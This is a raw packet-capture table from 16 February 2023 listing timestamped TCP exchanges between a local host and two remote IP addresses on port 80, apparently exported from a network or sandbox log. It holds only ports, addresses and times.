Feb 16, 2023 13:57:19.924588919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924616098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924628019 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924643040 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924654961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924675941 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924691916 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924691916 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924712896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924742937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924751043 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924772978 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924779892 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924808025 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924812078 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924812078 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924845934 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924880028 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924890995 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924906969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924932957 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924943924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924958944 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924971104 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.924984932 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.924998045 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925010920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925036907 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925044060 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925044060 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925062895 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925090075 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925096035 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925096035 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925117970 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925144911 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925147057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925147057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925170898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925193071 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925193071 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925195932 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925221920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925237894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925237894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925247908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925276041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925287008 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925287008 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925302029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925327063 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925348997 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925348997 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925352097 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925379038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925398111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925398111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925405025 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925431967 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925456047 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925456047 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925456047 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925482035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925498962 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925498962 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925508976 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925534010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925549984 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925549984 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925559998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925585985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925601959 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925601959 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925611019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925637007 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925651073 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925651073 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925662994 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925688028 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925709009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925709009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925713062 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925739050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925756931 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925757885 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925764084 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925790071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925805092 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925805092 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925816059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925842047 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925854921 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925854921 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925868034 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925893068 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925910950 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925910950 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925919056 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925945997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925961971 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925961971 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.925971985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.925997972 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926009893 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926009893 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926023960 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926049948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926064014 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926064014 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926075935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926101923 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926115036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926115036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926129103 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926152945 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926167965 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926167965 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926179886 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926206112 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926218987 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926218987 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926230907 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926255941 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926273108 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926273108 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926284075 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926309109 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926323891 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926323891 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926336050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926362991 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926377058 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926377058 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926389933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926414967 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.926430941 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926430941 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.926723003 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.028058052 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.028110027 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.028139114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.028167009 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.028192997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.028219938 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.028249025 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.028249979 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.028275013 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.028306007 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.028306961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.028306961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.028340101 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.028440952 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.030929089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.030958891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.030992985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031013012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031045914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031306028 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031306982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031332970 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031353951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031373024 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031393051 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031410933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031428099 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031428099 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031433105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031454086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031471968 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031481981 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031481981 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031491995 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031511068 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031531096 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031549931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031563044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031563044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031570911 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031599045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031618118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031622887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031622887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031639099 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031656981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031676054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031685114 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031685114 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031696081 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031717062 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031733036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031738043 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031752110 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031758070 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031783104 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031788111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031802893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031822920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031836033 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031842947 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031857014 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031863928 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031883955 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031903028 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031922102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031924009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031924009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.031943083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031963110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.031981945 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032000065 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032018900 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032037973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032057047 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032075882 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032087088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032087088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032095909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032116890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032135010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032136917 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032136917 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032155037 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032175064 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032180071 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032180071 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032196045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032212973 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032212973 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032215118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032234907 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032250881 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032253981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032268047 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032274961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032289028 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032296896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032316923 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032325983 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032336950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032346010 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032356024 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.032414913 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.032414913 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.057713985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.057758093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.058427095 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.087201118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087232113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087255955 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087277889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087297916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087316990 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087336063 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087354898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087373972 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087393045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087415934 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.087418079 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087415934 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.087446928 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087475061 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087501049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087524891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087549925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087577105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087600946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087626934 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087651968 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087677956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087766886 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087795973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087822914 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087855101 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087881088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087908030 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087934017 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087960005 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.087985992 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.088143110 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.088143110 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.089548111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.090406895 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090439081 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090461969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090482950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090503931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090524912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090538979 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.090548038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090570927 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090590954 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090591908 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.090612888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090634108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090650082 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.090657949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090681076 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090714931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090749025 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.090755939 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090780020 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090801001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090809107 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.090809107 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.090822935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090843916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090864897 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090872049 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.090872049 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.090887070 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090908051 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090928078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090948105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090967894 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.090989113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.091008902 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.091028929 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.091286898 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.092410088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.092410088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.092410088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.092417955 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.092457056 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.092478991 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.092500925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.092555046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.092555046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.092989922 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.166759968 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.170180082 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:20.249876022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:20.308465958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:25.691847086 CET	49688	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:25.774869919 CET	80	49688	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:25.776978016 CET	49688	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:25.777270079 CET	49688	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:25.777297974 CET	49688	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:25.831298113 CET	80	49688	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:26.103118896 CET	80	49688	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:26.103156090 CET	80	49688	95.158.162.200	192.168.2.3
